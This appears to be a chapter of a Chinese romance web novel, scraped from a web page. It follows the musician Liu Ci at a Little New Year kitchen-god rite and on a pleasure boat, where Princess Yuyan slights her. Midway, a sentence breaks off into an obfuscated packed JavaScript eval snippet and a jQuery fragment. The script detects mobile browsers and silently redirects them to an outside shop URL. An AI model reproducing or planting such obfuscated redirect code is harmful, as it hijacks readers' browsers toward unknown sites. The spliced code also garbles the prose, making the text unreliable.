腊月末春节将至,街上多了许多喜气,摊贩开始摆卖春联春帖,香烛贡品。
霜霜买回许多果脯干果,姑娘们空闲时间聚在一起聊天时可以当零嘴。
月榆抓了几个栗子,突然想起什么,对着旁边的小菊说着。
“你们家里请灶马没,我娘让我买回去,一会儿散坊你记得提醒我。”
“我们家都是自己扎的,我阿婆扎的。”
霜霜听得一头雾水,嘴里嚼的蜜枣还没来得及咽下就开口询问,“灶马是什么?”
“灶马你都不知道?你们南然过年不祭灶吗?”
月榆露出讶色,剥完的栗子又篡在手中。
霜霜与柳瓷对视了一眼,两人皆是摇头。
北林有小年祭灶的习惯,百姓们买纸灶马,祭灶结束后与香烛纸钱一同焚尽,是为了酬谢灶神一年的保佑,祈求来年平安。
“要不,你们来我家亲自瞧瞧。”
柳瓷眼睛一亮,听起来很新奇,是在南然从没见过的仪式。
霜霜看向一旁的柳瓷,眼里写满期待。
少女冲她点了点头,霜霜开心得拿起桌上的干果洒到空中。
被砸到的姑娘们一阵哀嚎,扬言要把霜霜收拾掉。
这几日气温一直回升,暖阳下是百姓们准备过小年而忙碌的身影,穿着冬袍干活额头竟然会起一层黏汗。
“这天真怪了不会要过夏年吧。”月榆临街边搬着东西边嘀咕着。
柳瓷帮忙搬着箱子,里头都是一些香烛黄纸,这倒是与南然的祭神有些相似。
路上驶过一辆珠玉点缀的马车,一看就不是普通人家。
马车里,玉颜公主撩开车帘,看着湖面上的金光,嘴角上勾。她对这天气很满意,那国师果然有一手。
她找到那沈劲桐的好友徐野,恰好那人也在宫中。
“你可知沈哥哥的喜好?”
“也不知。”
“这个也不知?”玉颜公主思索片刻,“那你帮我约他出来吧。”
“公主为何不自己约。”
“我自己约,他定不会答应。”
“我为何这么做。”
玉颜公主有些着急,“你要什么我都可以答应你。”
“好。”
那少年走后,一旁的侍女不解道,“他怎么就要个草药啊。”
玉颜公主揣想着那个草药的样子,就是一个普通得不能再普通的药材样,父皇经常几箱几箱珍宝往府里送,那东西在里面一点也不起眼,又想起那少年的身世。
“可能他没见过什么好东西吧。”
她与母后做了交易,要是她能好好跟那柳琴师学琴,她今日就能出来游舫。
为了此次游舫,她特意找了那会观星象算天气的国师,国师说今日气温回暖时,她还不信,毕竟前几日还下着小雪,不曾想,今日果然艳阳扑面。
还未达目的地,她已经看到湖边站着的几个熟悉身影。
这边,柳瓷与月榆家人已经把祭品摆上了供台。
一个看起来有些年纪的男人在清点着祭品。
“糖瓜,干果,糕点,清水,还有……灶马在这,哎,还少了酒。”
清点下来,却发现漏了酒。
“月榆,去,打两文钱酒回来。”
被点到名字的月榆小声嘀咕着,“怎么不叫雨翎去……”
柳瓷站出来比着手势,月榆看懂了,“好啊,我们一起去。”
这是一家小酒铺,或者说,这就是一个普通的小民屋,外头完全不见招牌。
要不是满屋弥散的酒香,柳瓷都要怀疑她们私闯民宅了。
这小民屋里面倒是别有洞天,月榆带着少女穿过了长长房道,映入眼帘的是几个飘着浓浓热汽的巨缸。
闷重的酒香扑鼻而来,柳瓷不自觉咳了几下。
月榆见状,知她是第一次进酒窖,随后拿出面纱给她蒙上隔盖酒味。
不一会儿店小二不知从哪个小门拿着装好的酒壶走了出来,“你们家怎么这么晚才买酒。”
那人脸上带着冷笑,把酒递给月榆说道。
两人似乎是认识的,只是月榆没好气地回了句,“要你管。”
说完拉着柳瓷扭头就走。
那人在身后也不恼,靠坐在一旁的桌边,柳瓷回头瞥见那店小二脸上笑意似乎更深。
月榆一直把柳瓷拉到小酒屋门口,少女终于才有机会说出她刚刚一直想说的话。
「你没给钱。」
月榆双目发直,脑袋一瞬间塌下,叹了口气说着,“坊主你在这等我吧,我去去就回。”
少女含笑,去吧去吧,难怪那店小二那副姿态呢,合着是算定月榆还会回去。
这酒屋临江而建,今日天气甚好,湖面跃着金光,从这看去,能看到江面游着几艘画舫,雕饰华美,甚是华贵。
“柳琴师?”
一旁有人唤她,她转头,迎面凑上一茶褐服男子。
“还真是你柳琴师。”
来人朗目星眉,脸上染着笑,一旁是与他有几分相似的女子。
女子眉目澄如秋水,嘴角亦是淡淡笑意。
“柳琴师,我们又见面了。”
柳瓷没想到会在这里会遇见沈家兄妹,她眉眼弯起,弓身回应着他们。
“今日是小年,你一人在这江边做甚?”
柳瓷正想解释,远处埠头却有人在叫喊,三人都被这声音吸引去。
吕少则疑惑这沈家兄妹怎么还不到,急性子的他走出画舫,下到了埠头守着,远远就瞧到那三个小人。
“喂,沈劲桐你们在墨迹什么呢!”
“沈劲桐我数三个数你们不过来我们就走了啊!”
说完自顾自地登上一旁的船舫。
被点到名的男子讪笑着,他摸了摸眉头,“柳琴师若是无事,可与我们一同游舫。”
游舫吗,她看向碧波上那樟木为身,朱栏雕缕,四面锦幔低垂的画舫。
对不住了月榆。
她颔首回应。
这时全然不知发生何事的月榆从小酒屋走出,只见她的坊主打着让她先回去的手势,随后乐滋滋地跟着两个陌生人离去。
三人举步走在柔软地衣上,脚步声被尽数收纳,悄无声息走近中舱主厅。
樟木船身散出淡淡的木质冷香,还未进入,少女就听出里头传来若有似无的乐声。
走进主厅才发现,这里并没有想象中的奢华繁艳,舱壁悬两幅浅墨山水小轴,笔意清淡,无金字题跋、无华贵装裱,衬得满舱风骨清冷贵雅。
这风格,倒是与她熟知的一人有些相似。
面前是素色屏风,屏面素净,透过屏风能看到主桌上几位宾客的背影,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889091|212683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正赏着雅乐。
“各位,我与小妹来迟了。”
沈劲桐走上桌前,与那几人说着,“我还带了位旧友,各位不介意再多添一人吧。”
柳瓷盯着几人背影,有着些眼熟是怎么回事。
一旁的沈清絮已经牵着她进去。
她低着头,眼角扫到一片素白竹影衣摆,一股不好的预感涌上心头。
不是吧……
沈清絮挨着那人落座,柳瓷被牵着坐在她旁边。
“好啊你,南然的旧友竟还带来北林了,三番五次约你不成,就是与这旧友共游了吧。”
吕少则手指点叨着,说着就倒了一杯满满的酒,要罚沈劲桐酒。
沈劲桐低笑,接过那酒杯一饮而尽,“今日不就过来喝个尽兴了嘛。”
一旁玉颜公主的目光从沈劲桐身上移开,转而敛起笑意,满腹狐疑地盯着那低着头蒙面的少女。
竟是那乐师?
沈大哥怎会与她相识?
三番五次共游的旧友?
玉颜公主心中生起无名火,她看着台上奏着乐的乐姬,下巴扬起几分,发号施令道,“柳乐师,你不是乐姬吗,上去弹几首曲听听。”
语气冰冷,桌上气氛骤然降至冰点。
偏偏那没眼力见的吕少则还在打趣,“哟?你们还认识啊?”
其余几人都朝那少女望去,柳瓷方寸大乱,脑袋沉沉垂落不敢抬眼,这公主怎么偏偏在这时刁难她。
她手指颤动,指尖用力掐着掌心,压制着心底对那人的害怕。
没事的,那人如今还不认识她,梦里的事情还没发生。
她定了定神,抬起头,眸如秋水。
她眼眸还带着颤动,却从容不迫地对着玉颜公主点了点头。
“此次设宴是为徐野饯行,弹不弹曲要由他决定才是。”
一旁的公子头戴素白玉冠,清姿峻骨,淡淡开口。
隔壁的沈清絮眸光浅浅扫过魏我的面庞,却不见半分异样,不自觉蹙起眉峰。
这一下,场上的焦点又转到那徐野身上。
少年神色晦暗,清高孤傲地轻靠在椅子上,把玩着手上的酒杯,冷眼旁观这一切。
他感受着她投来的目光,压下心里的异样,半响才启唇,语气干涩。
“聒噪。”
说完鸦睫垂落,盖住他深不见底的眼眸。
太聒噪了,此处配不上少女的乐音,她的舞台应该在宫殿,在乐坊,不应是几人小聚的饯行会。
一旁的玉颜公主霎时春光明媚,喜盈盈地为那少年倒酒,似是夸赞他,做得好!
柳瓷眉头紧锁,斜斜睨向对方,眼上浮起一层浅浅愠色。一介武夫,自然是听不懂乐的!
为了心上人这话都说得出口,别以为那日私闯公主府的事没人知道,把她惹毛了的话,她就把这两人的私情捅出来,大家都别活了。
呆滞了好一会儿的吕少则赶紧出来圆场,赔笑着,“柳乐师别跟他计较,他这人说话就这样,他小时候脑子摔坏了……”
沈劲桐清了清嗓,赶紧转移话题,“快说说我不在北林这段时间都发生了什么大事吧,我总觉得我错失好多信息……”
几人说说笑笑,误闯熟人局的少女神色恹恹。
只是那沈清絮也不参与进去,倒是一直陪着柳瓷到船头廊台观湖。